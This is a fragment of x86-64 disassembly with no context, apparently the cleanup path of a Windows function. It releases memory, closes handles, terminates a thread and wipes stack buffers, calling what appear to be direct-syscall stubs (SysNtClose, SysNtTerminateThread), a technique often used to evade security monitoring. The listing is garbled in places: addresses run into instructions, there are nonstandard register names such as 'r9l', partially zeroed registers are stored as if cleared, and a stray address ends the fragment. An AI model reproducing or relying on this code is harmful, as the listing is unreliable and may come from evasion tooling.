140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0